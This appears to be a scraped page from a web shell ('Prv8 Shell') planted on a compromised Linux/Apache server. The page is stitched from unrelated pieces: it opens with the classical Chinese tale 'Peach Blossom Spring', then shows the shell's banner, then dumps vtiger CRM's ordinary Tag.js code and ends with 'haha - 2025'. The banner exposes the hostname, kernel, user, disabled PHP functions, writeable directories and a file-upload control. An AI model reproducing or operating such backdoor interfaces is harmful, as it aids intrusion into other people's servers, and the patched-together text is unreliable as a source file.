晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/layouts/v7/modules/Vtiger/resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/layouts/v7/modules/Vtiger/resources/Tag.js
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is: vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/

Vtiger.Class("Vtiger_Tag_Js",{},{
    
    editTagTemplate : '<div class="popover" role="tooltip"><div class="arrow"></div>\n\
                                <form onsubmit="return false;">\n\
                                    <div class="popover-content"></div>\n\
                                </form>\n\
                                </div>',
    editTagContainerCached : false,
    
    init : function() {
        this.editTagContainerCached = jQuery('.editTagContainer');
    },
    
    saveTag : function(callerParams) {
        var aDeferred = jQuery.Deferred();
        var params = {
            'module' : app.getModuleName(),
            'action' : 'TagCloud',
            'mode'   : 'saveTags'
            
        };
        var params = jQuery.extend(params, callerParams);
        app.helper.showProgress();
        app.request.post({'data': params}).then(
            function(error, data) {
                app.helper.hideProgress();
                if(error == null) {
                    aDeferred.resolve(data);
                }else{
                    aDeferred.reject(error);
                }
            }
        );
        return aDeferred.promise();
    },
    
    updateTag : function(callerParams) {
        var aDeferred = jQuery.Deferred();
        var params = {
            'module' : app.getModuleName(),
            'action' : 'TagCloud',
            'mode'   : 'update'
        }
        params = jQuery.extend(params, callerParams);
        app.request.post({'data' : params}).then(function(error, data){
            if(error == null) {
                aDeferred.resolve(data);
            }else{
                aDeferred.reject(error);
            }
        });
        return aDeferred.promise();
    },
    
    constructTagElement : function (params) {
        var tagElement = jQuery(jQuery('#dummyTagElement').html()).clone(true);
        tagElement.attr('data-id',params.id).attr('data-type',params.type);
        tagElement.find('.tagLabel').html(params.name);
        return tagElement
    },
    
    addTagsToShowAllTagContianer : function(tagsList) {
        var showAllTagContainer = jQuery('.showAllTagContainer');
        var viewAllTagContainer = jQuery('.viewAllTagsContainer');
        var currentTagHolder = showAllTagContainer.find('.currentTag');
        var viewAllCurrentTagHolder = viewAllTagContainer.find('.currentTag');
        var currentTagMenu = showAllTagContainer.find('.currentTagMenu');
        
        for(var index in tagsList) {
            var tagInfo = tagsList[index];
            var tagId = tagInfo.id;
            
            if(currentTagHolder.find('[data-id="'+ tagId +'"]').length > 0) {
                continue;
            }
            var newTagEle = this.constructTagElement(tagInfo);
            currentTagHolder.append(newTagEle);
            viewAllCurrentTagHolder.append(newTagEle.clone());
            currentTagMenu.find('[data-id="'+ tagId +'"]').closest('li.tag-item').remove();
        }
        
        if(currentTagHolder.find('.tag').length > 0){
            currentTagHolder.find('.noTagsPlaceHolder').hide();
        }
    },
    
    removeTagsFromShowTagContainer : function(tagsList, container) {
        var showAllTagContainer = (typeof container === 'undefined') ? jQuery('.showAllTagContainer') : container;
        var currentTagHolder = showAllTagContainer.find('.currentTag');
        var currentTagMenu = showAllTagContainer.find('.currentTagMenu');
        
        for(var index in tagsList) {
            var tagInfo = tagsList[index];
            var tagId = tagInfo.id;
            
            var tagEle = currentTagHolder.find('[data-id="'+ tagId +'"]');
            if(tagEle.length <= 0) {
                continue;
            }
            tagEle.find('.editTag,.deleteTag').remove();
            var newTagLiEle = jQuery('<li class="tag-item list-group-item"> <a style="margin-left:0px"></a> </li>').find('a').html(tagEle).closest('li');
            currentTagMenu.find('ul').append(newTagLiEle);
            currentTagMenu.find(".noTagExistsPlaceHolder").hide();  
        }
    },
    
    viewAllTags : function(container) {
        var viewAllTagContainer = container.find('.viewAllTagsContainer').clone(true);
        // There is no delete option from view All Tags
        viewAllTagContainer.find(".deleteTag").remove();
        app.helper.showModal(viewAllTagContainer.find('.modal-dialog'), {'cb' : function(modalContainer){
                
                var registerViewAllTagEvents = function(modalContainer) {
                    var currentTagHolder = modalContainer.find('.currentTag');
                    app.helper.showScroll(currentTagHolder);
                }
                registerViewAllTagEvents(modalContainer);
        }});
    },
    
    showAllTags : function(container, callerParams) {
        var self = this;
        var showTagModal = container.find('.showAllTagContainer').clone(true);
        app.helper.showModal(showTagModal.find('.modal-dialog'),{'cb' : function(modalContainer){
                
                var registerShowAllTagEvents = function(modalContainer) {
                    var currentTagsSelected = new Array();
                    var currentTagHolder = modalContainer.find('.currentTag');
                    var currentTagMenuHolder = modalContainer.find(".currentTagMenu");
                    var currentTagScroll = modalContainer.find('.currentTagScroll');
                    var deletedTags = new Array();
                    
                    if(currentTagHolder.find(".tag").length <= 0){ 
                       currentTagHolder.find(".noTagsPlaceHolder").show();
                    }
                    
                    if(currentTagMenuHolder.find(".tag").length <= 1){ 
                       currentTagMenuHolder.find(".noTagExistsPlaceHolder").show();
                    }else{
                        currentTagMenuHolder.find(".noTagExistsPlaceHolder").hide();
                    }
                    
                    modalContainer.find('.dropdown-menu').on('click',function(e){
                        e.stopPropagation();
                   });
                   
                   app.helper.showVerticalScroll(modalContainer.find('.dropdown-menu .scrollable'));
                   
                    modalContainer.find('.currentTagMenu').off('click', 'li > a').on('click', 'li > a',function(e){   
                        var element = jQuery(e.currentTarget);
                        var selectedTag = jQuery(element.html());
                        selectedTag.append('<i class="editTag fa fa-pencil"></i><i class="deleteTag fa fa-times"></i>');
                        currentTagsSelected.push(selectedTag.data('id'));
                        element.remove();
                        currentTagHolder.append(selectedTag);
                        currentTagHolder.find(".noTagsPlaceHolder").hide();
                        
                        if(currentTagMenuHolder.find(".tag").length <= 1){
                            currentTagMenuHolder.find(".noTagExistsPlaceHolder").show();
                        }
                    });
                    

                    app.helper.showScroll(currentTagHolder,{alwaysVisible:false});
                    
                    modalContainer.find('.currentTagSelector').instaFilta({
                        targets : '.currentTagMenu  li',
                        sections : '.currentTagMenu ul',
                        scope : modalContainer, 
                        hideEmptySections : true,
                        beginsWith : false, 
                        caseSensitive : false, 
                        typeDelay : 0
                     });
                     
                    var tagInputEle = modalContainer.find('input[name="createNewTag"]');
//                    var params = {tags : [], tokenSeparators: [","]};
//                    vtUtils.showSelect2ElementView(tagInputEle, params);
                    
                    var form = modalContainer.find('form');
                    form.off('submit').on('submit',function(e){
                        e.preventDefault();
                        var modalContainerClone = modalContainer.clone(true);
                        app.helper.hideModal();
                
                        if(typeof callerParams == 'undefined') {
                            var saveParams = {};
                        }else{
                            var saveParams = callerParams;
                        }
                        var saveTagList = {};
                        saveTagList['existing'] = currentTagsSelected;
                        saveTagList['new'] = tagInputEle.val().split(',');
                        saveTagList['deleted'] = deletedTags;
                        saveParams['tagsList'] = saveTagList;
                       
                        var formData = form.serializeFormData();
                        saveParams['newTagType'] = formData['visibility'];
                        self.saveTag(saveParams).then(function(data){
                            app.event.trigger('post.MassTag.save', modalContainerClone, data);
                        }, function(error){
                            //app.helper.showAlertBox({'message' : error})
                        })
                        return false;
                    }); 
                    
                    modalContainer.off('click', '.deleteTag').on('click', '.deleteTag', function(e){
                        var currenttarget = jQuery(e.currentTarget);
                        var currentTagHolder = currenttarget.closest(".currentTag");
                        var tag = currenttarget.closest('.tag');
                        var deletedTagId = tag.data('id');
                        
                        var index = currentTagsSelected.indexOf(deletedTagId);
                        //if the tag is currently selected then remove it from currently selected list
                        if(index >= 0) {
                            currentTagsSelected.splice(index, 1);
                        }else{
                            deletedTags.push(deletedTagId);
                        }
                        var tagInfo = {
                            'id' : deletedTagId
                        };
                        self.removeTagsFromShowTagContainer(new Array(tagInfo),modalContainer);
                        
                        if(currentTagHolder.find(".tag").length <= 0){
                            currentTagHolder.find(".noTagsPlaceHolder").show();
                        }
                    });
                     
                }
                registerShowAllTagEvents(modalContainer);
        }});
    },
    
    registerShowMassTagListener : function() {
        var self = this;
        app.event.on('Request.MassTag.show',function(e, container, saveParams){
            if(typeof container == 'undefined') {
                container = jQuery('body');
            }
            self.showAllTags(container, saveParams);
        });
    },
    
    registerEditTagEvents : function(){
        var self = this;
        jQuery(document).on('click','.editTag', function(e){
            var element = jQuery(e.currentTarget);
            var tag = element.closest('.tag');
            var editTagContainer = self.editTagContainerCached.clone();
            editTagContainer.find('[name="id"]').val(tag.data('id'));
            editTagContainer.find('[name="tagName"]').val(tag.find('.tagLabel').text());
            if(tag.attr('data-type') == "public") {
                editTagContainer.find('[type="checkbox"]').prop('checked',true);
            }else{
                editTagContainer.find('[type="checkbox"]').prop('checked', false);
            }
            editTagContainer.removeClass('hide');
            var container = element.closest('.modal').length ? element.closest('.modal') : jQuery('body');
            var placement = app.view() == "Detail" ? 'bottom' : 'top';
            element.popover({
                'content' : editTagContainer,
                'html' : true,
                'placement' : placement,
                'animation' : true,
                'trigger' : 'manual',
                'template' : self.editTagTemplate,
                'container' : container
                
            });
            element.popover('show');
        });
       
        jQuery(document).on('click', '.editTagContainer .saveTag', function(e){
            var element = jQuery(e.currentTarget);
            var editTagContainer = element.closest('.editTagContainer');
            var tagName = editTagContainer.find('[name="tagName"]').val();
            
            if(tagName.trim() == ""){
                var message = app.vtranslate('JS_PLEASE_ENTER_VALID_TAG_NAME');
                app.helper.showErrorNotification({'message':message});
    			return;
            }
            
            var valueParams = {};
            valueParams['name'] = editTagContainer.find('[name="tagName"]').val();
            var visibility = 'private';
            if(editTagContainer.find('[name="visibility"][type="checkbox"]').is(':checked')) {
                visibility = editTagContainer.find('[name="visibility"][type="checkbox"]').val();
            }
            valueParams.visibility = visibility;
            var tagId = editTagContainer.find('[name="id"]').val();
            valueParams.id = tagId;
            self.updateTag(valueParams).then(function(data){
                var tagElement = jQuery('[data-id="'+ tagId +'"]');
                tagElement.find('.tagLabel').text(data.name);
                tagElement.attr('data-type', data.type);
                var popOverId = element.closest('.popover').attr('id');
                jQuery('[aria-describedby="'+ popOverId +'"]').popover('destroy');
            }, function(error){
                app.helper.showAlertBox({'message' : error.message});
            });
        });
       
        jQuery(document).on('click', '.editTagContainer .cancelSaveTag', function(e){
            var element = jQuery(e.currentTarget);
            var popOverId = element.closest('.popover').attr('id');
            jQuery('[aria-describedby="'+ popOverId +'"]').popover('destroy');
        });
        
        jQuery(document).on('keyup', '.editTagContainer [name="tagName"]', function(e) {
            (e.keyCode || e.which) === 13 && 
            jQuery(e.target).closest('.editTagContainer').find('.saveTag').trigger('click');
        });
    },
    
    registerViewAllTagsListener : function() {
        var self = this;
        app.event.on('Request.AllTag.show', function(e, container){
            if(typeof container == 'undefined') {
                container = jQuery('body');
            }
            self.viewAllTags(container);
        });
    },
    
    registerEvents : function() {
        this.registerShowMassTagListener();
        this.registerEditTagEvents();
        this.registerViewAllTagsListener();
    }
});


haha - 2025